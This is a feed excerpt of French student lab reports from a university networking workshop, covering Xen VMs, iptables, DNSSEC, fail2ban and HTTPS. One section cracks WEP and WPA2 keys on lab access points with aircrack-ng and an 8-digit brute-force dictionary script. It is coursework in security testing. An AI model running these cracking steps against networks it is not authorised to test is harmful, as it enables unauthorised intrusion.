    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12260</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12260"/>
		<updated>2026-02-12T15:27:57Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
